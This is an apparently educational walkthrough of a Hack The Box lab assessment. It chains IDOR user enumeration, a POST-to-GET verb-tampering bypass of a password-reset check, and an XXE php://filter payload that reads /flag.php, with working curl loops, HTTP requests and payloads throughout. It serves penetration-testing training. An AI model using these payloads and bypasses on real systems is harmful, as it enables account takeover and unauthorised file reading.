Skill assessment chain
A canonical engagement chain combining all three Round 13 primitives. Five stages: login → IDOR enumeration to find admin uid and reset-token API → verb-tamper a POST reset into a GET to bypass session-binding → log in as the now-reset admin → use admin-only event-creation endpoint with XXE to read /flag.php.
# Stage 1 - Login as low-privilege userhtb-student / Academy_student! → uid=74
# Stage 2 - IDOR enumeration via /api.phpfor uid in {1..100}; do curl '/api.php?uid=$uid'; done→ uid=52 has role=Administrator
# Stage 3 - Settings page leaks /reset.php API and tokengrep 'reset.php\|token' settings.php→ POST /reset.php with uid, token, new_password
# Stage 4 - POST returns "Access Denied" (session-bound)# Verb-tamper POST → GET (params move to URL)GET /reset.php?uid=52&token=<admin_token>&new_password=hacked→ admin password reset
# Stage 5 - Log in as admin; events.php has XML endpointPOST /addEvent.php with crafted XML containing XXE<!DOCTYPE name [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">]>→ base64 in response; decode for the flagSuccess indicator: HTB{...} flag value decoded from the base64-encoded /flag.php source code returned in the XXE response.
Scenario
Section titled “Scenario”A bug bounty engagement on a social-networking web app. Provided credentials: htb-student / Academy_student!. Goal: read /flag.php. The web app has multiple defenses but none individually is tight - chaining the gaps yields full compromise.
This walkthrough is the HTB Web Attacks module skill assessment, presented in the way the operator should approach a real engagement: one primitive at a time, verifying each step’s effect, escalating until the chain completes.
Stage 1 - Authenticate and map the surface
Section titled “Stage 1 - Authenticate and map the surface”Log in with the provided credentials. After login you land on /index.php showing your own profile. Walk every UI link, intercept everything in Burp, build a mental map.
What you can find without much effort:
/profile.php- your profile, with a “View other employees” link/profile.php?uid=74- looking at this URL reveals your own uid/settings.php- change password page (your password only)/events.php- no link from your role’s UI, but exists in the JS bundle- View source on
/profile.phpreveals references to/api.php
Read the front-end JS / view the source of /profile.php:
<script>async function fetchProfile(uid) { const r = await fetch('/api.php?uid=' + uid); return r.json();}fetchProfile(74).then(p => { ... });</script>The page makes GET /api.php?uid=<n> to populate user details. Test if it’s IDOR-vulnerable:
$ curl -sb 'PHPSESSID=mine' 'http://target/api.php?uid=74' | jq{ "uid": "74", "username": "htb-student", "email": "student@...", "role": "Standard", "token": "..."}
$ curl -sb 'PHPSESSID=mine' 'http://target/api.php?uid=1' | jq{ "uid": "1", "username": "alice", "email": "alice@...", "role": "Standard", "token": "df8e92..."}Foreign uid returns foreign user data. IDOR confirmed on /api.php. The token field is interesting - likely the password-reset token (more on this later).
Stage 2 - Mass-enumerate to find the admin
Section titled “Stage 2 - Mass-enumerate to find the admin”100 users in the system based on the API behavior. Loop:
$ for uid in $(seq 1 100); do curl -sb 'PHPSESSID=mine' "http://target/api.php?uid=$uid" done | jq -c 'select(.uid != null)' > all-users.json
$ wc -l all-users.json100 all-users.jsonFilter for non-Standard roles:
$ jq 'select(.role != "Standard")' all-users.json{ "uid": "52", "username": "admin", "email": "admin@...", "role": "Administrator", "token": "5e8e0fd92ee1b9d2640cf2a3eda7eb50"}The admin is uid=52. The token field is 5e8e0fd92ee1b9d2640cf2a3eda7eb50 - capture this for the next stage.
Two values acquired:
- admin
uid= 52 - admin reset
token=5e8e0fd92ee1b9d2640cf2a3eda7eb50
Stage 3 - Discover the reset endpoint
Section titled “Stage 3 - Discover the reset endpoint”Now visit /settings.php and view source. The page handles password changes for yourself - the front-end constructs a POST request to a specific endpoint:
<form id="resetForm" action="/reset.php" method="POST"> <input type="hidden" name="uid" value="74"> <input type="hidden" name="token" value="<your-own-token>"> <input name="new_password" type="password"> <button>Reset</button></form>The reset is parameterized by uid + token. You have an admin’s uid and token. The intended flow: a user resets their own password by submitting their own uid + own token. The implementation gap: does the endpoint verify the token belongs to the requesting session?
Stage 4 - Attempt the naive reset (and the access-denied wall)
Section titled “Stage 4 - Attempt the naive reset (and the access-denied wall)”Send the reset request manually via Burp Repeater, substituting admin’s uid + token:
POST /reset.php HTTP/1.1Host: targetCookie: PHPSESSID=mineContent-Type: application/x-www-form-urlencodedContent-Length: 87
uid=52&token=5e8e0fd92ee1b9d2640cf2a3eda7eb50&new_password=hacked123Response:
Access DeniedThe endpoint checks something beyond “is this a valid (uid, token) pair.” Probably checks “does the session cookie belong to the same user whose uid is in the body” - a partial access-control defense.
But - Access Denied is one specific check on the POST path. What about other verbs?
Stage 5 - Verb-tamper POST into GET
Section titled “Stage 5 - Verb-tamper POST into GET”Flip the request method (see Verb tampering for the full pattern). In Burp Repeater, right-click → “Change request method” - Burp moves the body parameters into the query string:
GET /reset.php?uid=52&token=5e8e0fd92ee1b9d2640cf2a3eda7eb50&new_password=hacked123 HTTP/1.1Host: targetCookie: PHPSESSID=mineResponse:
Password reset successfullyThe session-binding check fired only on the POST handler. The GET handler accepts the same parameters without the session check - classic verb-tampering filter inconsistency. Admin’s password is now hacked123.
Why this works mechanically
Section titled “Why this works mechanically”The server-side code likely looks like:
if ($_SERVER['REQUEST_METHOD'] === 'POST') { if ($_SESSION['uid'] !== $_POST['uid']) { die("Access Denied"); }}$query = "UPDATE users SET password = ? WHERE uid = ? AND token = ?";// uses $_REQUEST['uid'], $_REQUEST['token'], $_REQUEST['new_password']The session check is wrapped in if (POST). GET requests skip the check entirely. The downstream SQL update uses $_REQUEST, which picks up GET parameters. The combined effect: GET version of the request changes any password given a valid (uid, token) pair - and IDOR gave you both.
Stage 6 - Log in as admin
Section titled “Stage 6 - Log in as admin”Log out. Log in with admin / hacked123. Now you’re admin (uid=52).
The admin UI shows a feature the standard user didn’t: an “Events” calendar at /events.php. View the page source:
<script>async function addEvent(name, details, date) { const xml = `<?xml version="1.0" encoding="UTF-8"?><root> <name>${name}</name> <details>${details}</details> <date>${date}</date></root>`; const r = await fetch('/addEvent.php', { method: 'POST', headers: {'Content-Type': 'application/xml'}, body: xml, }); return r.json();}</script>The admin event-creation feature sends XML to /addEvent.php. XML-receiving endpoint = XXE candidate.
Stage 7 - Probe addEvent.php for XXE
Section titled “Stage 7 - Probe addEvent.php for XXE”Send a baseline event creation via Burp Repeater:
POST /addEvent.php HTTP/1.1Host: targetCookie: PHPSESSID=admin-session; uid=52Content-Type: application/xmlContent-Length: 153
<?xml version="1.0" encoding="UTF-8"?><root> <name>Test event</name> <details>hello</details> <date>01/01/2022</date></root>Response:
{"status": "created", "name": "Test event"}The response echoes the name field. name is the reflection point - perfect for entity-based exfil.
Reflection probe:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY test "PROOF_OF_LIFE">]><root> <name>&test;</name> <details>x</details> <date>x</date></root>Response:
{"status": "created", "name": "PROOF_OF_LIFE"}✓ Internal entities resolve. XXE confirmed.
Stage 8 - Exfiltrate /flag.php
Section titled “Stage 8 - Exfiltrate /flag.php”Target file is /flag.php. Direct file:// would fail because PHP source contains <?php (the < breaks the parse). Use the php://filter wrapper for base64:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE name [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">]><root> <name>&xxe;</name> <details>hello</details> <date>01/01/2022</date></root>Send via Burp Repeater. Response:
{"status": "created", "name": "PD9waHAKJGZsYWcgPSAnSFRCe...K"}The name field contains the base64-encoded source of /flag.php. Decode:
$ echo 'PD9waHAKJGZsYWcgPSAnSFRCe...K' | base64 -d<?php$flag = 'HTB{actual_flag_value_here}';?>The flag value is in the $flag variable assignment. Capture and submit.
The complete chain - narrative
Section titled “The complete chain - narrative”What just happened, end to end:
- Authentication - given a low-privilege account
- IDOR for disclosure -
/api.php?uid=Nreturned arbitrary user records, including admin’s uid and reset token - Settings page reveal - sourcecode of
/settings.phpexposed the/reset.phpendpoint and its parameter shape - Verb tampering -
/reset.phpPOST had a session-binding check; GET bypassed it - Password reset - armed with admin’s (uid, token) and the GET-flip, reset admin’s password
- Privilege escalation - log in as admin
- Feature discovery - admin UI exposed
/events.phpwith XML-based/addEvent.phpendpoint - XXE - XML endpoint reflected entity content in
namefield; usedphp://filter/convert.base64-encode/resource=/flag.phpto read the flag
Each step’s primitive is in another page of this cluster:
- Step 2: Identifying IDORs and Mass enumeration
- Step 3: Insecure APIs
- Step 4-5: Verb tampering
- Step 7-8: Identifying XXE and File disclosure
The chain is what makes the engagement critical-severity. Each individual primitive is medium impact; together they’re an unauthenticated-attacker-reads-/flag.php path.
Why each defense failed
Section titled “Why each defense failed”Walking the defender’s side of the chain:
| Defense | Why it failed |
|---|---|
/api.php not exposed in UI for foreign uid lookups | The endpoint exists but lacks access control - any session can read any uid |
| Reset endpoint session check | Only applied on POST; GET bypassed entirely (verb scoping mistake) |
| Reset endpoint token check | Token check works fine - but the IDOR leaked the admin’s token, so the (uid, token) pair was knowable |
| Admin-only events feature gated in UI | Backend gates on session role correctly (you had to actually become admin) - this defense worked |
| XML parser external entity resolution | Outdated PHP libxml or LIBXML_NOENT set; external entities resolved with no protection |
The events feature is the only defense in the chain that worked - the rest collapsed at each step.
Composite-impact severity
Section titled “Composite-impact severity”For the report:
| Finding | Standalone severity | Chained role |
|---|---|---|
IDOR on /api.php | Medium | Enabler - disclosed admin uid and reset token |
Verb tampering on /reset.php | Medium-High | Bypassed session-binding check on password reset |
XXE on /addEvent.php | High (admin-only access required) | Final unlock - flag retrieval |
Composite: critical. Low-privilege user reads /flag.php (effectively: arbitrary file read with root-equivalent access on the web app).
Variations the operator should be ready for
Section titled “Variations the operator should be ready for”What if IDOR isn’t on /api.php
Section titled “What if IDOR isn’t on /api.php”If /api.php returns 403 for foreign uids, the enumeration step fails. Look elsewhere:
- A user-search endpoint that returns shallow records (username + uid)
- An admin event-feed endpoint that lists user actions (the JS bundle may reveal it)
- A profile page that embeds a “view as employee X” admin tool with a URL parameter
The token still needs to come from somewhere; if no IDOR works, the reset chain breaks entirely. In that case, look for other admin-privilege paths (LFI to read DB config, IDOR on a different field, role-cookie tampering - see Cookie tampering).
What if verb tampering doesn’t bypass
Section titled “What if verb tampering doesn’t bypass”The reset endpoint may check session-binding on every verb. Alternatives:
- The reset endpoint may use
_method=body param tampering (see Verb tampering) - The token may be a JWT - if its signing is weak, forge an admin-token JWT (see JWT)
- The IDOR may also expose a different password-management endpoint that doesn’t have the session check
What if XXE is blocked on /addEvent.php
Section titled “What if XXE is blocked on /addEvent.php”External entities may be disabled. Probe with a benign <!ENTITY test "x"> reflection test first. If even internal entities don’t reflect, the parser may have LIBXML_NONET set or use a parser without entity support:
- Look for blind XXE via error-based or OOB (see Blind exfil)
- Look for other XML endpoints - SOAP, document upload, RSS subscription
- Look for
/flag.phpvia LFI, command injection, or RCE if other primitives surface
What if the admin lures don’t work
Section titled “What if the admin lures don’t work”If admin never visits events.php in time for your XXE to fire (e.g., it’s a system on-demand feature):
- Trigger the XXE yourself once you’re admin - the chain doesn’t need admin to visit the events page; you visit it directly as the now-reset-admin
Most variations of the chain still resolve to the same flag-read mechanic. The specific primitives shift but the structure (disclosure → escalation → admin-feature → XXE → flag) is the canonical pattern.
Operational checklist
Section titled “Operational checklist”Stage 0 - Recon [ ] Login confirmed [ ] Profile page mapped (own uid identified) [ ] Settings page reviewed [ ] JS bundles searched for AJAX endpoints [ ] /api.php discovered (or equivalent user-lookup endpoint)
Stage 1 - IDOR [ ] Substitute uid; foreign user data returned [ ] Mass enumerate uid 1..N [ ] Filter for non-default role → admin uid identified [ ] Reset token captured from admin record
Stage 2 - Reset endpoint discovery [ ] /reset.php parameters identified from settings.php source [ ] POST attempt → "Access Denied" [ ] Verb tamper to GET → "Password reset successfully"
Stage 3 - Admin login [ ] Logout, login as admin with new password [ ] Admin UI surveyed for additional features [ ] /events.php and /addEvent.php located
Stage 4 - XXE [ ] addEvent.php XML body crafted (baseline test) [ ] Reflection point in `name` confirmed [ ] Internal entity reflection probe passes [ ] php://filter for /flag.php base64-encoded [ ] Response decoded → flag valueQuick reference
Section titled “Quick reference”| Step | Command / payload |
|---|---|
| Mass-enumerate users | for i in $(seq 1 100); do curl '/api.php?uid='$i; done |
| Filter for admin | jq 'select(.role != "Standard")' all-users.json |
| Naive POST reset (blocked) | POST /reset.php body uid=52&token=...&new_password=... |
| Verb-tampered GET reset | GET /reset.php?uid=52&token=...&new_password=... |
| Burp method swap | Right-click request → Change request method |
| XML reflection probe | <!ENTITY test "PROOF"> referenced in <name> |
| Flag-read XXE | <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php"> |
| Decode response | echo 'BASE64' | base64 -d |
| If POST has CSRF token | Use CSRF token bypass |
| If IDOR is partially defended | See Insecure APIs for the mismatch-defense bypasses |
| If XXE responses are blind | Blind exfil for OOB chain |
If /flag.php has </>/& issues | Always use php://filter/convert.base64-encode/ - never raw file:// |
This walkthrough covers the canonical pattern. Real engagements will swap primitives but retain the disclosure → escalation → admin-feature → XXE → flag arc.